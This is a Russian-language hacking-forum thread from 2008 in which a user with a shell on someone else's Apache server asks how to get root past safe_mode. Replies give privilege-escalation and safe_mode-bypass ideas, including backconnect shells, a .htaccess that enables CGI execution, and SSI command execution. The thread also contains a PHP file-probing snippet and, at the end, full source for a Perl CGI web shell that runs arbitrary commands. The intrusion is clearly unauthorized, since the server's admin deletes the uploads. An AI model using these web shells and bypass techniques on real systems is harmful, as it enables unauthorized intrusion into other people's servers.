Как пробиться к корню?

Discussion in 'Песочница' started by 1west, 2 Oct 2008.

  1. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    Получил шел с правами апача.
    А там админ права хорошо раставил да еще поотключал много чево.
    Выйти дальше /var/www/ немогу.
    Прочитать /etc/passwd тоже немогу
    Выполнять каманды опять же немогу.
    В конфиге пас некуда неподходит кроме базы сайта.
    Народ подскажите что можно сделать в таком случае?
    Как пробиться к корню?

    safe_mode: ON
    Disable functions:
    symlink
    dl
    shell_exec
    exec
    system
    passthru
    popen
    proc_open
    proc_nice
    proc_get_status
    proc_close
    proc_terminate
    posix_mkfifo
    set_time_limit
    imap_open
    imap_body
    imap_list
    imap_createmailbox
    imap_deletemailbox
    imap_renamemailbox
    mb_send_mail
     
  2. procedure

    procedure Elder - Старейшина

    Joined:
    22 Dec 2007
    Messages:
    527
    Likes Received:
    257
    Reputations:
    46
    Есть доступ кронтабы посмотреть? /etc/crontab
    Может там скрипты выполняются от пользователей с более большими привилегиями. И скрипты доступные для редактирования апача.

    Версию ОС знаешь? Список пользователей в системе? Бэкконект или биндшел пробовал установить?
     
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Чувак про курл забыл :)
    http://securityvulns.ru/Mdocument888.html
    попробуй еще это
    http://securityvulns.ru/news/PHP/htacces/safemodebypas.html
     
    #3 Chaak, 2 Oct 2008
    Last edited: 3 Oct 2008
  4. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    procedure
    Просмотреть я нечево немогу дальше /var/www/
    Нашел файл на редатирование под пользователем.
    Но из этого нечего неполучилось все осталось попрежнему только права стали (ingres).
    Linux 2.6.22-ovz005_openVZ #3 SMP Wed Feb 13 17:25:54 EET 2008 x86_64
    Списка пользователей я немогу узнать прав нехватает.
    Команды выполнять немогу на серваке запрещено.
    Бэкконект или биндшел некатит режется.
     
  5. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    ChaaK
    Какой курл мне закачивать нечево ненадо.
    Сылку посмотрю.
     
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Или вот посмотри: xakep.ru/post/26964/default.asp
    Тут главная задача норм шелл получить, а ядро там не очень новое.
     
  7. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    2 Ky3bMu4 2008 года это неочень новое?патченное ядрышко..вполне приличное.

    2 ТС - можешь спокойно забить на сервак.много ты не потеряешь, только время убьешь зря...
    ибо запрещены
     
  8. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    спс за сылку очень позновательно.
    но это непошло там немного править надо.
    задача да норм шел получить только как?
    сейфмод жоско рубит все.
     
  9. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    забить жалко серв интересный.
    потерять можно и много.
    а время и так много убил.
     
  10. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    cgi-bin дира есть? если есть,лей цгишный\перловый шелл..ограничения отпадут практически.
     
  11. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2

    cgi-bin в вебе есть но записать прав нехватает.
    страно права пользователя файла а редактить немогу.
    там файло лежит но их редактить немогу.
    при запуске их ошибка 500.

    вот через это можно узнать есть файл или нету.
    <?php
    $fp = fsockopen ("unix://../../../../../../etc/passwd",0);
    if ($fp) { fclose ($fp); }
    ?>
    если файл есть ответ : Permission denied
    если файла нету ответ : No such file or directory
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    не обязательно cgi-bin для перл шелла
    выбирай любую диру, лей туда .htaccess
    Options Indexes FollowSymLinks ExecCGI
    AppType application/x-httpd-cgi .pl
    и лей в эту диру .pl шелл
     
    1 person likes this.
  13. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    если apache работает с mod_include, то можно выполнять команды посредством SSI
    https://forum.antichat.ru/showthread.php?t=37928
     
  14. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2

    да apache работает с mod_include.
    попробовал в ответ чистая страница в коде тож нема.
    ошибок небыло.вроде проходит запрос а ответ режется.
    на хакер.ру есть видео по проникновению на Agnitum.com там также приминялся этот способ.
     
  15. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2

    залил .htaccess и shell.pl в диру с правами.
    при запросе к shell.pl вылезла ошибка 500.
    после решил перезаписать .htaccess вылезла опять ошибка 500.
    потом обратился к sh.php и снова ошибка 500.
    все лежало в одной папке.
    недоумение! и папка пропала О_О.
    админ не дремлет.
    снес ее.
    придется терь ждать пока успокоится.
     
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    1west
    чмод 755 на перл шелл поставил?
     
  17. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    интересно,как я ево поставлю без выполнения команд?
     
  18. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    В r57 есть возможность установки прав под safe-mode =on.
     
  19. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    1west
    в пшп есть функция chmod() ;)
    chmod('file',0755)
    Помойму так, при сейф моде она работает
     
  20. 1west

    1west Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    30
    Likes Received:
    2
    Reputations:
    2
    ага права поставил на шел.
    в .htaccess прописал это
    Options Indexes
    Options FollowSymLinks ExecCGI
    AddType application/x-httpd-cgi .pl
    php шел нормально работает а перловый выдает ошибка 500.
    шел вот этот

    #!/usr/bin/perl
    use CGI qw/-no_xhtml :standard/;
    use CGI::Carp qw(fatalsToBrowser);
    print header(-charset => 'windows-1251'),
    start_html(-lang => 'ru', -title => 'My shell',
    # установим курсор в поле ввода команд
    -onLoad => "document.forms[0].vvod.focus()");
    if ( param() ) { # если мы ввели команду
    my $vvod = param('vvod');
    # покажем нашу команду для самоконтроля
    print $vvod, "<br>\n";
    # установим таймаут в секундах для выхода из нашей команды,
    # если она задержалась с ответом
    my $timeout = 30;
    # анонимная подпрограммочка для обработки таймаута
    local $SIG{ALRM} = sub { close KAN;
    print 'Процесс прерван по таймауту</pre>';
    die "timeout"; };
    # вот и сам «шелл»
    $pid = open(KAN, "$vvod 2>&1 |");
    die "Cannot run program: $!.\n" unless ($pid);
    eval {
    alarm($timeout);
    print '<pre>';
    # читаем вывод команды и направляем его на дисплей
    while( <KAN> ) { print; }
    print '</pre>';
    alarm(0);
    close KAN;
    }
    }
    # генерируем форму ввода команды
    print start_form,
    textfield(-name=>'vvod', -size=> 80, -value=> ''), submit('удачи!'),
    endform, end_html;
    exit(0);